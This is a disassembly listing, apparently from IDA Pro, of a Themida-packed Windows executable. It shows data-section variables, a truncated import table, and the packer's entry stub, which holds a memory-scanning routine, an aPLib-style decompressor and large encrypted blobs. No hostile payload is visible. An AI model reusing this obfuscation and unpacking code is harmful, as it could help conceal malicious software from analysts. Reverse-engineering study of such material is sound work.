sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dword_4D4218 dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000E2000 ( 925696.) ; Section size in file : 000E2000 ( 925696.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 6C7CA17Fh, 4FEECh, 540A1h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053EBA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00541EC6 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054213C SIZE 0000005D BYTES ; FUNCTION CHUNK AT 005421A5 SIZE 0000008D BYTES ; FUNCTION CHUNK AT 00542268 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0054228A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005422A3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005422F6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0054231E SIZE 00000014 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53EBA5 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53EBA5 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 156331Ch, 6552F0EBh, 61741C73h, 7041CE72h, 784F2E2Fh dd 0D9D5219Ch, 0D53FC201h, 656854C0h, 64691C6Dh, 54552161h dd 3FC23545h, 700F33F9h, 21F9DF87h, 7D750817h, 215C98E4h dd 0C63874D5h, 92EE4703h, 0CDBBFCF7h, 15C20371h, 0F865A777h dd 3430F85Dh, 56312D38h, 11ECBE01h, 0BB7F848Bh, 10EE22C8h dd 24C8EFBBh, 0EFEE42B8h, 0AE13622h, 0FC2A3ABDh, 0D801CAABh dd 185FEDDh, 5C92C455h, 8E7F5F21h, 0D443C58Bh, 4084E860h dd 2BED815Dh, 5E70333h, 2D799589h, 0DDB50D08h, 0D9858412h dd 0BD83010Bh, 716A1h, 0E88B0C74h, 0B84BE2E4h, 78C2814Fh dd 0E3244470h, 11693E88h, 0E8456A03h, 682903A3h, 783749Ah dd 0A80DFD2h, 0A894B25h, 0E988D5F4h, 0EC025214h db 0BEh, 80h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 56h fsubr st, st(6) add bl, [edx-7Fh] jmp far ptr 0C7DAh:8B003419h ; --------------------------------------------------------------------------- dd 8D84845h, 89400ED8h, 7D8108C7h, 331D80E6h, 8200F74h dd 938C83FBh, 120CFF10h, 36E1EB43h, 26616EDCh, 4C2C982h dd 0C4814680h, 2D1FF7Ch, 8062C849h, 8B80458Dh, 0C728085Dh dd 50891985h, 0D10A408Dh, 181588C3h, 140B8941h, 4006BD81h dd 0E352755Dh, 0BA8D8527h, 7580641Dh, 0BB0E8A80h, 15B92F4h dd 5437ABB8h, 0F9D0D378h, 4B08870Fh, 0AF60F775h, 0A44647C3h dd 54468C4Ah, 57D142F9h, 0D0408A61h, 14FBEBF0h, 4DFC45EEh dd 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h, 0EB0C7DC3h dd 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h, 8004F065h dd 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch, 0A7298FBh dd 7A77390Ah, 0E4EB7D05h, 6114CF22h, 660A0DECh, 1EDE08FEh dd 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h, 30014424h dd 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h, 0F826AACCh dd 8D0E9C83h, 3B01A8D4h, 820FFC55h, 0B0BD5378h, 387CAA83h dd 0C108BAA1h, 5070C1B9h, 35A8BDFCh, 30FFE80h, 0FA754947h dd 6A8B22B9h, 0C701BBB9h, 0EB82F1E8h, 1C3B0CDEh, 3781868Eh dd 655106E8h, 1DBF36C1h, 268A28F7h, 5E95007h, 98B80659h dd 130D8510h, 7608DECh, 26D4820Dh, 2F860643h, 44F6C32Ch dd 0EAA6F165h, 0CB9A1903h, 0B362F004h, 13360315h, 8C98395Fh dd 678134E3h, 5B4EE082h, 100F7600h, 43D51B8h, 0EC3BF8D1h dd 7546C346h, 11AB2E09h, 0EC480E01h, 69065E4h, 0C5845640h dd 968E1905h, 1E53E7A1h, 29C20415h, 5718C03h, 0E6EE782h dd 86FFC8C2h, 22047781h, 0C1341D00h, 7533F984h, 3FBCC820h dd 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh, 456740C8h dd 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h, 845AAB66h dd 56531384h, 825E05D9h, 8150ACEEh, 7D6A22FAh, 13B9518Ah dd 94972302h, 0BC670243h, 0FEA6012h, 0D3DC9E90h, 0CCF14B02h dd 0C3DF40E5h, 0F458B8A5h, 0DA8D0067h, 0E281C9B4h, 8F03BC05h dd 0EA41C8F3h, 7E410008h, 554927CDh, 0B06A223h, 4C8610CAh dd 0CC820F1Fh, 4644B135h, 2C5482C8h, 0C1210206h, 0EA8D8190h dd 0E86B1340h, 0C304E958h, 0C4602111h, 257D8A90h, 9845E5A1h dd 48211E08h, 7C47158h, 2251EFB3h, 0E41FF09Fh, 81511041h dd 2BBCF453h, 5C8EBB65h, 0A8F84527h, 0FA309050h, 1A09659Ah dd 0C0CC5FEAh, 0A57B942Ah, 7E000C76h, 68079ABCh, 3327EFF1h dd 636550Bh, 12E95118h, 21E37h, 620F3DAEh, 0FF5A4B56h dd 0B0FBB800h, 85695B7Ch, 0DA8C1C67h, 82D9C160h, 0BF5DF3C8h dd 1816153Ah, 3DD105A0h, 0ED143BCAh, 7A2001FBh, 388C706Bh dd 0F7E8C2C9h, 0F86EFE65h, 1E4788Bh, 18C621C7h, 23831068h dd 0BEDB3CEAh, 2476B04Bh, 50022CB3h, 3AA1C134h, 0BB835753h dd 890EAE0h, 43E9C9D0h, 0F0827201h, 31640E8Ch, 1C9890FAh dd 6685FAC1h, 2188B827h, 84EDB104h, 28702EAh, 0FBBDBDA8h dd 0BE20D16Fh, 9C307273h, 0C3BA5850h, 0BBB197FCh, 0F5CCE100h dd 0E0A2B286h, 4B730E3Ch, 11601D8Bh, 0D49CECEFh, 0DE81AD05h dd 838330C0h, 7E207353h, 9BE00008h, 400612E2h, 0DF20C8CEh dd 8A0E03EAh, 227323BCh, 55821101h, 4DCC0D2Ch, 219D6180h dd 0C4C85E89h, 7C9F3Fh, 291FD3B5h, 0FBCC5020h, 0C356BE0h dd 58949C61h, 0CE0EF179h, 80C480CBh, 84758EB6h, 5E970166h dd 0FC480629h, 0B7B0D3D4h, 0E509B208h, 3C94F1h, 0C9EB9044h dd 0B31B0348h, 93CA5ACEh, 20538803h, 197441h, 72A3B499h dd 0A5DD1A0Fh, 716097Dh, 9300ADE4h, 0BE906239h, 8B38C10Dh dd 0C00CC5D2h, 0F73E32FFh, 200E81E4h, 4E7F317Dh, 0C04A8CDCh dd 3F7C4C28h, 0FF00E1E2h, 0EB3429E9h, 9BDD4B2h, 3B4910BAh dd 734CDA00h, 0F41F0919h, 0AE069BE8h, 1D209368h, 3353D62h dd 7DE5B45Bh, 6000087Ch, 8B0624F7h, 0E82B4098h, 48930043h dd 0B5D1B2F4h, 9F31C98Fh, 90B3877h, 0A354180h, 29CE3046h dd 8D37E600h, 0DBFC797h, 863C0ED0h, 948050EFh, 0D8642085h dd 270010DDh, 0BFBA656Dh, 0DF890F2Bh, 83237C35h, 5900400Bh dd 2C65EB1h, 3C64C2h, 0E1BA8912h, 0A3DE2188h, 0D03B85F8h dd 0E4506374h, 696E33Fh, 0DA767078h, 5B03E8BEh, 0C43E6D94h dd 0BB1100B2h, 17626E36h, 7EC1D4Eh, 70CFDF00h, 3C24D1B3h dd 81D46022h, 0E0574A94h, 0E8742C05h, 0A0012D23h, 6483512Bh dd 1053AC40h, 0F7070894h, 3B03B45Dh, 8BF88B93h, 0BDF900D3h dd 0A3876D4Ch, 8F60E4B9h, 4E2BF938h, 0BC7954E8h, 0D46E00B0h dd 0AB122E4Bh, 8001BB76h, 5EBA48A5h, 8CE44938h, 26A0094h dd 7F52833Eh, 1F285379h, 